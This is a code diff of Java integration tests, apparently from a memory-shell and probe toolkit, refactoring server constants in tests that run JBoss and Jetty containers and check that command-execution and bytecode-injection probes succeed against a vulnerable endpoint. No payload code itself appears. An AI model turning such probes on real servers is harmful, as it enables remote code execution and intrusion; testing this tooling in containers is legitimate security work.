import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Jboss711ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class JbossEap6ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JBOSS, data);
|
||||
assertEquals(Server.JBoss, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -55,20 +54,20 @@ public class JbossEap7ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty10ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -65,20 +59,20 @@ public class Jetty11ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -51,6 +51,6 @@ public class Jetty12ee10ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
}
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -51,6 +51,6 @@ public class Jetty12ee8ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-10
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -17,11 +14,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -57,6 +51,6 @@ public class Jetty12ee9ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -65,20 +59,20 @@ public class Jetty61ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty75ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty76ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty81ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-10
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -21,9 +18,6 @@ import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -60,20 +54,20 @@ public class Jetty92ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -59,20 +53,20 @@ public class Jetty93ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.integration.probe.jetty;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.probe.payload.response.JettyWriter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
@@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
